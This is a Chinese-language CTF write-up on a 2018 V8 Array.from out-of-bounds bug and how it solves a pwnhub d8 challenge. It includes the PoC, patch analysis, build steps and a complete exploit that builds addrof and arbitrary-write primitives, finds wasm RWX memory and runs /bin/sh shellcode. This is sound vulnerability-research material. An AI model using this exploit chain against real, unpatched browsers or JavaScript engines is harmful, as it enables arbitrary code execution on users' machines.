已经有很长一段时间没有调东西了,这两天看了看v8相关的内容,调了之前pwnhub出现的一道v8相关的题。(ps:很久没做题现在都不会做了)
其实我是先看了几篇关于roll-a-d8
的文章,把这个漏洞分析了一下,没打算写exp的,后来准备做pwnhub-d8
的时候发现可以用这个洞来打,所以写了exp记录一下!关于roll-a-d8
的文章在这里,师傅们写的很详细了:
扔个骰子学v8 - 从Plaid CTF roll a d8开始
v8 exploit入门[PlaidCTF roll a d8]
初步分析
题目给出的文件内容如下:1
2
3
4
5
6编译命令
git clone https://chromium.googlesource.com/v8/v8.git
git checkout (before Mar 7, 2018)
cd v8 & gclient sync
python tools/dev/v8gen.py -b ia32.release ia32.release
ninja -C out.gn/ia32.release d8
根据其中的before Mar 7 2018
,猜测只需要找这之后发现的漏洞,应该就可以利用成功了(之前走入了找这天修补了什么漏洞的误区)。关键是怎么找这些可以用的漏洞呢?
我最开始是在git的所有日志里面搜索与OOB
有关的commit,这道题可以采用roll-a-d8
的洞来打也是这样搜出来的。然而还有更好的方法,可以在chrome的issue列表进行搜索,搜索的关键字就为OOB
,主要是因为OOB从利用上来讲会容易一些。会搜出来很多漏洞,从里面选择漏洞来尝试即可。
漏洞分析
漏洞的详情在这里。在这个链接里面找到了存在漏洞版本的commitid、diff以及poc。
poc分析
首先分析一下poc:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17let oobArray = [];
let maxSize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
next() {
let result = this.counter++;
if (this.counter > maxSize) {
oobArray.length = 0;
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
oobArray[oobArray.length - 1] = 0x41414141;
分配了一个oobArray,然后调用了Array.from函数,查了一下该函数:
Array.from() 方法从一个类似数组或可迭代对象创建一个新的,浅拷贝的数组实例。
这里传递给Array.from的参数就是一个可迭代对象,而且给对象的Symbol.iterator
赋了值,标识这个对象是可迭代的。
1 | 在 ES6 中常用的集合对象(数组、Set/Map集合)和字符串都是可迭代对象,这些对象都有默认的迭代器和Symbol.iterator属性。 |
next函数就是每次迭代中要调用到的函数,该函数在最后一次迭代的时候把oobArray的length设置成了0。然后往数组中的oobArray.length-1
处赋值就导致了程序崩溃。
源码分析
有了崩溃的产生,那么崩溃是如何产生的呢?正常情况下oobArray-1
还是处于数组自己的空间内,不应该出错。
这里看一下diff文件,可以发现仅对GenerateSetLength进行了patch,将其中调用的SmiLessThan
换成了SmiNotEqual
。查看注释,如果新创建的数组的原本的长度大于预期的,就进入到运行时,来对数组进行收缩。从预期长度小于原来长度则进入runtime
改为了预期长度和原来长度不一致则进入runtime
。
1 | void GenerateSetLength(TNode<Context> context, TNode<Object> array, |
所以问题就出在这个地方,再查看一下调用了GenerateSetLength的地方,也就是Array.from实现的地方:
1 | // ES #sec-array.from |
看完这里可能还是体会不到漏洞在哪里,结合poc中的最后一次迭代的操作,把oobArray的长度设置成0了,如果Array.from中的array是新创建
出来的话,那么不可能存在这个漏洞,要让漏洞存在,就需要让Array.from中新建的array和我们最开始定义的oobArray是同一个。
整个过程是这样,首先定义了一个数组oobArray,然后调用了Array.from函数,将我们构造的可迭代对象作为参数,试图从里面返回一个数组。在Array.from循环迭代我们的对象时,他也会新建一个数组array用来存放迭代到的每一个值,然后会设置array的length属性,预期的值就是迭代器最后的index值。在最后一次迭代的时候把oobArray的length设置成了0。如果oobArray和array是同一个数组,那么在用GenerateSetLength设置length的时候数组原本的length已经是0了,这时预期的值肯定大于0,所以会把length属性设置成预期的值。就造成length与实际数组长度不符。
所以这里需要满足oobArray和array是同一个数组这个条件,在pollyfill中看一下Array.from的实现:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26// 22.1.2.1 Array.from ( items [ , mapfn [ , thisArg ] ] )
define(
Array, 'from',
function from(items) {
var mapfn = arguments[1];
var thisArg = arguments[2];
var c = strict(this);
if (mapfn === undefined) {
var mapping = false;
} else {
if (!IsCallable(mapfn)) throw TypeError();
var t = thisArg;
mapping = true;
}
var usingIterator = GetMethod(items, $$iterator);
if (usingIterator !== undefined) {
if (IsConstructor(c)) {
// 这里调用了c,而c=strict(this)
var a = new c();
} else {
a = new Array(0);
}
var iterator = GetIterator(items, usingIterator);
var k = 0;
while (true) {
因为这里Array.from.call的this参数是一个函数,所以会调用var a = new c()
。
查询javascript中new关键字的返回值可知,当使用new关键字调用一个函数时,若函数返回一个非原始变量(如像object、array或function),那么这些返回值将取代原本应该返回的this实例。
所以由于this是一个返回oobArray的函数,在Array.from中生成array时得到的就是oobArray,满足了漏洞的条件。
搭建环境
题目给的程序我这里跑不起来,所以按照题目给的信息自己编译了以便,方便调试。我一般都是在服务器上下载编译,然后打包下载编译好的程序到本地。注意这里得到的是32位的程序!
1 | # 准备depot_tools |
漏洞利用
漏洞原理清楚之后就需要进行漏洞利用了,在调的时候主要遇到了下面几个问题:
poc里面在最后一次迭代的时候把数组长度设置成了0(实际利用的时候设置成了一个较小的数),正常情况下就有一大部分内存处于空闲状态,但是由于GC的内存回收机制,这部分内存不会立马被回收,所以不能简单的就申请到这块内存。
采取的方法就是在最后一次迭代的时候进行很多次申请内存操作,总会触发GC的垃圾回收并且分配到这块内存。
题目要求的程序是32位,但是通过oobArray访问或修改数据的时候却是以8字节为单位,修改的时候可能会改到无关的数据。而且如果一次性修改8字节的数据,那么最低字节的数据会被设置成0?可能是数据转换工具的问题?
反正就是尽量不要修改到无关数据,在修改前可以先把原始数据保存一下,然后修改的时候带上原始数据。
怎么获取rwx内存区域?
我尝试使用starCTF里面OOB用到的方式去查找,发现这里没有data这个字段。最后用job命令查看code字段,发现里面有我们想要的内容,在code字段偏移为0x40的地方就存放着这些代码,也就是rwx的地方,在这里下了断点,调用wasm的函数发现程序执行到了这里!code字段在function对象偏移为0x18的地方,所以获取rwx的步骤如下:
addressOf(func)–>offset 0x18(code)–>offset 0x40–>rwx
总的漏洞利用大致为:结合POC代码,在最后一次迭代的时候进行多次的内存分配,每次申请一个ArrayBuffer和一个对象,分别放入不同的数组;在oobArray中依据标志数据搜索是否存在可控的ArrayBuffer和对象,找到之后修改标志数据,然后根据修改的标志数据在数组里面定位可控的ArrayBuffer和对象;实现addressOf来获取wasm函数的地址,进一步获取到rwx的地址;修改ArrauBuffer的backing_store
到rwx区域,写入shellcode;调用wasm函数,执行shellcode。
exp如下:1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136class Memory{
constructor(){
this.buf = new ArrayBuffer(8);
this.f64 = new Float64Array(this.buf);
this.u32 = new Uint32Array(this.buf);
this.bytes = new Uint8Array(this.buf);
}
d2u(val){ //double ==> Uint64
this.f64[0] = val;
let tmp = Array.from(this.u32);
return tmp[1] * 0x100000000 + tmp[0];
}
u2d(val){ //Uint64 ==> double
let tmp = [];
tmp[0] = parseInt(val % 0x100000000);
tmp[1] = parseInt((val - tmp[0]) / 0x100000000);
this.u32.set(tmp);
return this.f64[0];
}
}
var mem = new Memory();
function exploit(){
let wasm_code = new Uint8Array([0, 97, 115, 109, 1, 0, 0, 0, 1, 7, 1, 96, 2, 127, 127, 1, 127, 3, 2, 1, 0, 4, 4, 1, 112, 0, 0, 5, 3, 1, 0, 1, 7, 21, 2, 6, 109, 101, 109, 111, 114, 121, 2, 0, 8, 95, 90, 51, 97, 100, 100, 105, 105, 0, 0, 10, 9, 1, 7, 0, 32, 1, 32, 0, 106, 11]);
let wasm_mod = new WebAssembly.Instance(new WebAssembly.Module(wasm_code), {});
let f = wasm_mod.exports._Z3addii;
let buf_lst = [];
let obj_lst = [];
let oobArray = [1.1];
let maxsize = 1028 * 8;
Array.from.call(function() { return oobArray }, {[Symbol.iterator] : _ => (
{
counter : 0,
max : maxsize,
next() {
let result = this.counter++;
if (this.counter == this.max) {
oobArray.length = 1;
for(let i=0;i<300;++i){
buf_lst.push(new ArrayBuffer(0x123));
let obj = {'marker':0x4444,obj:f,obj1:f};
obj_lst.push(obj);
}
return {done: true};
} else {
return {value: result, done: false};
}
}
}
) });
var offset_to_vicobj = 0;
var offset_to_victimbuffer = 0;
// find offset to buffer
for (let i = 0; i < maxsize; i++) {
let int_val = mem.d2u(oobArray[i]).toString(16);
if(int_val.indexOf('123')!=-1){
offset_to_victimbuffer = i;
console.log("buffer offset: "+offset_to_victimbuffer);
break;
}
}
// find offset to obj
for(let i=0;i<maxsize;++i){
let int_val = mem.d2u(oobArray[i]);
if(int_val.toString(16).startsWith('8888')){
print(i,int_val.toString(16));
obj_marker_tmp = int_val % 0x100000000;
offset_to_vicobj = i;
console.log("obj offset: "+offset_to_vicobj);
break;
}
}
// obj_lst's idx, whitch we can control
var ctrl_obj_idx = 0;
// buf_lst's idx
var ctrl_buf_idx = 0;
// search controllable obj idx in obj_lst
let target_marker = 0x4444*0x100000000+obj_marker_tmp;
oobArray[offset_to_vicobj] = mem.u2d(target_marker);
for(let i=0;i<obj_lst.length;++i){
if(obj_lst[i].marker===0x2222){
console.log("found controllable obj at idx "+i.toString());
ctrl_obj_idx = i;
break;
}
}
// search controllable buf idx in buf_lst
// cause oobArray will overwite 8 byte everytime
// we need to get/restore the init value
let victim_value_tmp = mem.d2u(oobArray[offset_to_victimbuffer]);
victim_value_tmp = (victim_value_tmp - victim_value_tmp%0x100000000)/0x100000000;
oobArray[offset_to_victimbuffer] = mem.u2d(0x111+victim_value_tmp*0x100000000);
victim_value_tmp = mem.d2u(oobArray[offset_to_victimbuffer-2]);
victim_value_tmp = victim_value_tmp%0x100000000
oobArray[offset_to_victimbuffer-2] = mem.u2d(0x222*0x100000000+victim_value_tmp);
for(let i=0;i<buf_lst.length;++i){
if(buf_lst[i].byteLength===0x111){
console.log("found controllable buf at idx " + i.toString());
ctrl_buf_idx = i;
break;
}
}
var dataview = new DataView(buf_lst[ctrl_buf_idx]);
function addrof(obj){
obj_lst[ctrl_obj_idx].obj1 = obj;
let val_tmp = mem.d2u(oobArray[offset_to_vicobj+1]);
return (val_tmp-(val_tmp%0x100000000))/0x100000000;
}
function read4(addr){
oobArray[offset_to_victimbuffer-1] = mem.u2d(addr-4);
var tmp = mem.d2u(dataview.getFloat64(0,true));
tmp = (tmp-tmp%0x100000000)/0x100000000;
return tmp;
}
let f_addr = addrof(f);
console.log("func addr: 0x"+f_addr.toString(16));
let rwx_addr = read4(f_addr-1+0x18)-1+0x40;
console.log("rwx addr: 0x"+rwx_addr.toString(16));
oobArray[offset_to_victimbuffer-1] = mem.u2d(rwx_addr);
let shellcode = [0x6a,0xb,0x58,0x99,0x52,0x66,0x68,0x2d,0x63,0x89,0xe7,0x68,0x2f,0x73,0x68,0x0,0x68,0x2f,0x62,0x69,0x6e,0x89,0xe3,0x52,0xe8,0x8,0x0,0x0,0x0,0x2f,0x62,0x69,0x6e,0x2f,0x73,0x68,0x0,0x57,0x53,0x89,0xe1,0xcd,0x80];
for(let i=0;i<shellcode.length;++i){
dataview.setUint8(i,shellcode[i]);
}
f();
}
exploit()